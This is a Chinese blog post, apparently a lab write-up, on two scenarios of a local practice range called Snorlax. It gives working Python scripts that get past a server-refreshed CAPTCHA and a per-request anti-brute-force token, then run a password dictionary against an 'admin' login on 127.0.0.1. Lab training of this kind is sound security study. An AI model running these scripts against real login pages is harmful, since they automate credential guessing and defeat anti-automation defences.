Snorlax 靶场:Python 获取验证码、token 爆破

本文发表在博客园乌漆 WhiteMoon(https://www.cnblogs.com/linfangnan/),只要不是在博客园看到这篇文章的都是爬虫的哈。

Snorlax 爆破#

Snorlax 靶场共有 5 个场景,这些场景都需要使用爆破的方式完成登录。本篇博客介绍验证码绕过(On Server 2)和 Token 防爆破,主要使用 Python 获取后端更新的验证码或者获取 token,然后再进行爆破。

  1. 基于表单的暴力破解
  2. 验证码绕过 (On Client)
  3. 验证码绕过 (On Server 1)
  4. 验证码绕过 (On Server 2)
  5. Token 防爆破?

验证码绕过(On Server 2)#

场景分析#

和实验 3 的页面一样,这个页面的验证码在服务器上更新。

通过 Burp 抓包后观察得知,与实验 3 不同的是,当用户登录之后,页面将直接向后台请求一个新的验证码。此时如果想爆破,就必须保持验证码同步更新。

注意到页面更新验证码的方式是向“/Snorlax/inc/bf_vcode2.inc.php”发请求,然后后端响应验证码图片,其中在 Headers 中的“Set-Cookie”字段中显示了设置的新验证码。

Python 脚本编写#

因此如果我们能在每次爆破时主动发一个更新验证码的请求,然后从响应报文中提取出最新的验证码,就能实现爆破。此处选择用 Python 的 requests 库实现爆破,requests 库可以实现向服务器发请求,然后将服务器的相应信息实例化成一个 response 对象返回。

获取验证码#

页面更新验证码的方式是向“/Snorlax/inc/bf_vcode2.inc.php”发请求,因此 Python 脚本先用 requests 库主动发送请求进行更新,更新后通过访问 response.headers 成员变量就可以得到最新的验证码。
由于需要防止页面有反爬虫的功能,所以要设置一下 HTTP 头绕过同源检测之类的一些机制。接着对于回传的数据,此处我获取字段后使用字符串切割进行获取。

Copy Highlighter-hljs
def get_verification_code(): # 设置 HTTP 头 hd = { 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0', 'Host': '127.0.0.1', 'Referer': 'http://127.0.0.1/Snorlax/vul/burteforce/4.bf_server2/bf_server.php', 'Cookie': 'vcode=sldzoX; PHPSESSID=1aq6129v5tfpvtd702agdpt996', } # 发送请求 r = requests.request('POST', 'http://127.0.0.1/Snorlax/inc/bf_vcode2.inc.php', headers=hd) # 获取回传的验证码 header = dict(r.headers) return header['Set-Cookie'].split("=")[1]

测试密码#

得到最新的验证码之后,只需要再发一次请求进爆破即可。为了避免反爬还是要设置 HTTP 头,然后调用 get_verification_code() 获取最新的验证码。根据用户登录提交的参数,依次提交用户名、用于爆破的密码和最新的验证码,提交之后根据返回的数据判断是否登录成功。

Copy Highlighter-hljs
def send_request(url, username, password): # 设置 HTTP 头 hd = { 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0', 'Host': '127.0.0.1', 'Referer': 'http://127.0.0.1/Snorlax/vul/burteforce/4.bf_server2/bf_server.php', 'Cookie': 'PHPSESSID=1aq6129v5tfpvtd702agdpt996', } # 获取最新的验证码 vcode = get_verification_code() # 设置提交参数 kv = { 'username': username, 'password': password, 'vcode': vcode, 'change':'Login' } # 发送请求,验证是否登录成功 r = requests.request('POST', url, headers=hd, data=kv) if "Login Success" in r.text: return True else: return False

读取密码字典#

读取密码字典较为简单,直接读取文本文件即可。

Copy Highlighter-hljs
def get_weak_password_dict(): weak_password = [] with open('常用密码.txt',encoding='utf-8') as f: for line in f.readlines(): weak_password.append(line.replace('\n', '')) return weak_password

实现爆破#

调用上述写好的函数,然后依次对页面发送请求来进行爆破测试,如果字典中有密码即可爆破成功。

Copy Highlighter-hljs
import requests weak_password = get_weak_password_dict() url = 'http://127.0.0.1/Snorlax/vul/burteforce/4.bf_server2/bf_server.php' username = 'admin' flag = 0 for password in weak_password: if send_request(url, username, password) == 1: print("Password is " + password) flag = 1 break if flag == 0: print('Blasting failure!!!')

Token 防爆破?#

场景分析#

这个页面虽然没有验证码,但是在提交的表单中看到了有个 token 变量,说明页面很有可能需要通过 token 进行交互。

使用 Burp 进行抓包证明这个分析,提交用户名和密码时夹带了 token 到后台,然后后台进行响应是也会更新 token。

Python 脚本编写#

因此进行爆破时,需要先获取上一次响应页面的 token,然后再进行新一轮的爆破。此处同样使用 Python 的 requests 库实现爆破,当一次测试失败时,就从页面提取 token 然后再下一次测试时使用。

Copy Highlighter-hljs
import requests # 读取字典 def get_weak_password_dict(): weak_password = [''] with open('常用密码.txt',encoding='utf-8') as f: for line in f.readlines(): weak_password.append(line.replace('\n', '')) return weak_password # 发送请求 def send_request(url, username, password, token): hd = { 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0', 'Host': '127.0.0.1', 'Referer': 'http://127.0.0.1/Snorlax/vul/burteforce/4.bf_server2/bf_server.php', 'Cookie': 'PHPSESSID=1aq6129v5tfpvtd702agdpt996', } kv = { 'username': username, 'password': password, 'token': token, 'change':'Login' } r = requests.request('POST', url, headers=hd, data=kv) return r.text # 进行爆破 weak_password = get_weak_password_dict() url = 'http://127.0.0.1/Snorlax/vul/burteforce/5.bf_token/bf_token.php' username = 'admin' token = "" flag = 0 for password in weak_password: r = send_request(url, username, password, token) if "Login Success" in r: print("Password is " + password) flag = 1 break else: #获取 token idx = r.find('"token" value="') + len('"token" value="') token = r[idx :idx + 27] if flag == 0: print('Blasting failure!!!')

posted @   乌漆WhiteMoon  阅读(1181)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 全程不用写代码,我用AI程序员写了一个飞机大战
· DeepSeek 开源周回顾「GitHub 热点速览」
· 记一次.NET内存居高不下排查解决与启示
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· .NET10 - 预览版1新功能体验(一)
点击右上角即可分享
微信分享提示
CONTENTS